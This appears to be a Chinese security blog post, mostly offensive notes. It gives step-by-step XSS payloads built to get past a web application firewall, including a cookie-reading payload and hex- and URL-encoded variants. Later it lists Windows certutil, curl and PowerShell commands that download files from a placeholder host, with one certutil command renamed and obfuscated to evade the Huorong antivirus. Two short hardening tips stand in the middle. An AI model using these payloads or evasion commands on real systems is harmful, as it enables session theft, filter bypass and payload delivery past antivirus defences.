2022-10-11(二、XSS的绕过方式、windows命令行远程下载文件)

XSS绕过防护

payload的选择:

<script>alert(1)</script>
<img src=1 onerror=alert(1)>
<image/src=| onerror = javascript:alert(document.cookie)>

如果用XSS字典去FUZZ测试
优点:高效
缺点:只能测试反射型XSS,被拦截的可能性很大

对于<script>这种的payload,如果不是变形的,基本上现在随便一个WAF设备都能准确识别了,存活的可能性比较低。
所以用<img src=1 onerror=alert(1)>,但是alert关键字太明显

变形:

  1. <img>可以变成<image>
  2. <image src=> 中间只要有空格、TAB键都会被拦截,所以换成这种形式<image/src=>,用/这个符号替代空格。
  3. src=的右边只要是数字、字母啥的,就会被拦截。经过测试,发现src=右边是可以接特殊字符串的,所以语句变成如下格式<image/src=|>(注:这个是特殊字符竖杠,不是字母或者数字),这样就绕过了防护。
  4. onerror=alert(111)在=号左右两边加上TAB键,变成如下格式onerror = alert(111)可以绕过=附近的拦截
  5. alert(111) 这个部分还是会被拦截,借助javascript:伪协议,因为javascript:这部分可以接各种编码,之后测试的payload变成如下格式<images/src=| onerror = javascript:alert(111)>
  6. javascript:alert(111) 编码成16进制格式:
    &#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x31;&#x31;&#x29;
    ;去掉,一样是可以触发漏洞的,(为什么会拦截;呢,我想它的本意不是为了拦截XSS,是为了拦截多语句的SQL注入的分号。)
  7. 直接用burpsuite抓包提交是不行的,因为&会与POST请求数据包中的&分割符重复,这个好解决,可以对payload进行URL编码一样吧。
  8. URL编码后的payload大致如下所示:
    <image/src=| onerror = %26%23%78%36%61%26%23%78%36%31%26%23%78%37%36%26%23%78%36%31%26%23%78%37%33%26%23%78%36%33%26%23%78%37%32%26%23%78%36%39%26%23%78%37%30%26%23%78%37%34%26%23%78%33%61%26%23%78%36%31%26%23%78%36%63%26%23%78%36%35%26%23%78%37%32%26%23%78%37%34%26%23%78%32%38%26%23%78%33%31%26%23%78%33%31%26%23%78%33%31%26%23%78%32%39>

加固

  1. 禁止管理员后台的外网登录,限制仅内网可以登录
  2. 设置HttpOnly

windows命令行远程下载文件

方法一

certutil -urlcache -split -f http://xx.xx.xx.xx/test.zip c:\test.zip  (windows远程下载文件至本地,仅需要一个cmd执行的地方)

方法二

curl http://xx.xx.xx.xx/test.zip -o c:\test.zip

方法三
绕最新版火绒下载(2022年9月24日):修改C:\Windows\System32下的certutil.exe为c.exe

c.exe -U^R""""L""""C^a""""c""""h^e    -s^p""""l""""i^t  -f  http://x.x.x.x/1.txt

方法四

powershell -c "invoke-webrequest -uri http://xx.xx.xx.xx/test.zip -outfile test.zip"

参考

  1. XSS绕过防护盲打某SRC官网后台
  2. windows命令行远程下载文件的三种方法
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值